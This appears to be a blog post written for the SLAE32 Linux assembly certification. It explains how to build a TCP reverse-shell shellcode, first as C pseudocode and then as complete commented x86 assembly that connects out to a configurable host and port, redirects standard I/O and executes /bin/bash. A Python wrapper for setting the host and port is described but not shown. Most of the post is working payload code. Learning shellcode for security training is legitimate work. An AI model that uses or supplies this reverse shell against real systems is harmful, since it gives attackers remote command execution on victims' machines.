/SLAE32: Assignment 2

# Introduction

For the second assignment, I had to create a TCP reverse shell shellcode with a wrapper script which allows a user to easily set the port and host to connect to. This was very similar to the first assignment and so I used that code as a base to build off of for this one.

# Pseudocode

Similar to my post for assignment one, I will walk through the calls that will be required to make a tcp reverse shell in C pseudocode. First, create a socket:
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
Next, connect to the given host and port with the required struct:
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(LPORT)
addr.in_addr.s_addr = inet_aton(LHOST);
connect(sockfd, addr, sizeof(addr));
After that, route STDIN / STDOUT / STDERR to the socket file descriptor so that the connector will be able to interact with the shell.
dup2(0, sockfd);
dup2(1, sockfd);
dup2(2, sockfd);
Finally, run /bin/bash:
execve("/bin/bash", {"/bin/bash"}, NULL);

# Assembly

The amount of assembly required for a TCP reverse shell is fewer than for a bind shell as there are fewer socket calls required. First I create the socket we will use:
; A2 - Shell_Reverse_TCP
; William Mark Moody
; PA-25640
; 28.12.2021

global _start

section .text
    ; socketcall (int call, unsigned long *args);
    ; socket (int domain, int type, int protocol);

    push byte 0x6 			; int protocol => IPPROTO_TCP = 0x6
    push byte 0x1			; int type => SOCK_STREAM = 0x1
    push byte 0x2			; int domain => AF_INET = 0x2

    xor eax, eax
    mov al, 0x66			; SYS_SOCKETCALL = 102
    mov esi, eax			; Save for later (to reduce shellcode length)
    xor ebx, ebx
    mov bl, 0x1		        	; int call => SYS_SOCKET = 0x1
    mov ecx, esp			; unsigned long *args => arguments for socket()
    int 0x80

    mov edi, eax			; Save the return value for later (sockfd)
Next I connect to the desired host and port number. LHOST and LPORT are placeholders for the wrapper script which will replace these before compiling.
    ; socketcall (int call, unsigned long *args);
    ; connect (int sockfd, const sockaddr *addr,
    ;		   socklen_t addrlen);

    ; struct sockaddr_in {
    ;     short sin_family;		-- 2 bytes, AF_INET
    ;     unsigned short sin_port;	-- 2 bytes, htons(PORT)
    ;     struct in_addr;		-- 4 bytes, INADDR_ANY (0x00000000)
    ;     char sin_zero[8];		-- 8 bytes, 0x00000000 0x00000000
    ; }

    ; struct in_addr {
    ;     unsigned long s_addr;
    ; }
    xor ebx, ebx
    push dword ebx			; char sin_zero[8] 2/2 => 0x00000000
    push dword ebx			; char sin_zero[8] 1/2 => 0x00000000
    push dword LHOST	        	; struct in_addr =>
    push word LPORT			; unsigned short sin_port => 4444
    mov bl, 0x2
    push word bx			; short sin_family => AF_INET = 0x2

    mov ecx, esp			; Save pointer to struct

    push byte 0x10			; socklen_t addrlen => 16 bytes (see above)
    push dword ecx			; const sockaddr *addr => 
    push dword edi			; int sockfd => return value from SYS_SOCKET

    mov eax, esi			; SYS_SOCKETCALL = 102
    mov bl, 0x3		        	; int call => SYS_CONNECT = 0x3
    mov ecx, esp			; unsigned long *args => arguments for connect()
    int 0x80
Next, I call dup2 on all of the I/O streams so that they are routed through the socket file descriptor for the client to interact with.
    ; dup2 (int oldfd, int newfd);

    xor eax, eax
    mov al, 0x3f			; SYS_DUP2 = 0x3f
    mov ebx, edi			; int newfd => return value from SYS_SOCKET
    xor ecx, ecx			; int oldfd => STDIN = 0x0
    int 0x80

    ; dup2 (int oldfd, int newfd);

    mov al, 0x3f			; SYS_DUP2 = 0x3f
					; int newfd => return value from SYS_SOCKET
    inc ecx				; int oldfd => STDOUT = 0x1
    int 0x80

    ; dup2 (int oldfd, int newfd);

    mov al, 0x3f			; SYS_DUP2 = 0x3f
					; int newfd => return value from SYS_SOCKET
    inc ecx				; int oldfd => STDERR = 0x2
    int 0x80
And finally I call execve to run /bin/bash.
    ; execve (const char *pathname, char *const argv[],
    ;         char *const envp[]);

    push byte 0x68			; ...h
    push dword 0x7361622f		; sab/
    push dword 0x6e69622f		; nib/

    mov ebx, esp			; const char *pathname => *"//bin/bash"
    xor eax, eax
    push eax
    mov edx, esp			; char *const envp[] => NULL
    push ebx,
    mov ecx, esp			; char *const argv[] => *{*"//bin/bash"}
    mov al, 0xb		        	; SYS_EXECVE = 0xb
    int 0x80

# Wrapper

I built another wrapper script in Python3 for this shellcode. It works very much like the one from assignment one as it was based on that one.

Note: Users will get a null-byte in their output if they try to connect to a port below 256, or an address with zero's. This could one again be avoided quite trivially on a case-to-case basis with some extra assembly instructions, but since this is just the wrapper script for general purposes I will leave it like this.

# SLAE32 Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: PA-25640

All my code for the exam is available in my SLAE32 exam Github repository.